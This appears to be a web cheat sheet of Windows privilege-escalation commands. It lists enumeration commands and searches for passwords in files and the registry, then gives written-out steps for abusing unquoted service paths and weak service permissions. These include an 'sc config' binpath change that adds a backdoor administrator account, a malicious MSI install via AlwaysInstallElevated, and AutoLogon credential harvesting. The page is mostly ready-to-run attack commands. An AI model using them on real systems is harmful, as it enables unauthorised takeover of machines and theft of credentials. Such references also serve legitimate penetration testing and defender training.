Skip to content

Windows Privilege Escalation

A cheat sheet of common cmd.exe and PowerShell commands used for enumerating and escalating privileges on Windows systems.

System Enumeration

Command Description
systeminfo Get OS version, architecture, and patch levels (Hotfixes)
wmic qfe get Caption,Description,HotFixID,InstalledOn List installed KB updates (Hotfixes)
hostname View the machine hostname
echo %USERNAME% Check current user username
whoami /all View user privileges, group memberships, and SID
net users View list of users on the machine
net user <username> View details of a specific user
net localgroup View local groups on the system
net localgroup Administrators View members of the Administrators group

Network & Process Enumeration

Command Description
ipconfig /all List network interfaces and settings
route print Print local routing tables
netstat -ano List all open ports, active connections, and corresponding PIDs
tasklist /v List all active processes and who owns them
driverquery List installed system drivers

Finding Weak File & Registry Permissions

Command Description
icacls "C:\Path\To\File" Check folder/file permissions (Check for Full/Modify access)
dir /s /b C:\*pass* Search for password files on drive C
findstr /si password *.xml *.ini *.txt Search for "password" in configuration files
reg query HKLM /f password /t REG_SZ /s Search registry for entries matching "password"

Windows Services Exploitation

1. Unquoted Service Paths

Identify service paths containing spaces and lacking quotation marks.

# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

If a path is C:\Program Files\My App\Service.exe and we can write to C:\Program Files\My App\, we can place a malicious executable named Service.exe or My.exe (in C:\Program Files\) to intercept execution.

2. Weak Service Permissions (Modifying Service Binaries)

Find services where users have permission to modify files in the application directory or modify the service path.

# Using PowerShell to check permissions of all service executables
Get-WmiObject win32_service | Select-Object Name, PathName | ForEach-Object {
    $path = $_.PathName -replace '"', ''
    if ($path -and (Test-Path $path)) {
        $acl = Get-Acl $path
        foreach ($access in $acl.Access) {
            if ($access.IdentityReference -like "*Everyone*" -or $access.IdentityReference -like "*Users*") {
                if ($access.FileSystemRights -like "*Write*" -or $access.FileSystemRights -like "*FullControl*") {
                    [PSCustomObject]@{ ServiceName = $_.Name; Path = $path; User = $access.IdentityReference; Rights = $access.FileSystemRights }
                }
            }
        }
    }
}

If we have write rights, we can replace the service binary with our payload, then restart the service:

net stop <ServiceName>
net start <ServiceName>

3. Weak Service Configuration (Modifying binPath)

If we can modify service configuration (such as with the sc command):

# Check if current user has permission to configure a service (using Accesschk from Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" *

# Change service binary path to execute our command (e.g. adding a new user)
sc config <ServiceName> binpath= "net user hacker Password123! /add"
sc config <ServiceName> binpath= "net localgroup Administrators hacker /add"

# Restart the service to execute
sc stop <ServiceName>
sc start <ServiceName>

Other Privilege Escalation Techniques

AlwaysInstallElevated

Check if Windows allows regular users to install MSI files with System privileges.

# Check HKLM
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Check HKCU
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both registry values return 0x1, generate a malicious MSI file (e.g. via msfvenom) and execute:

msiexec /quiet /qn /i payload.msi

Harvesting Credentials from AutoLogon

Retrieve credentials stored in the registry for auto-login configurations.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName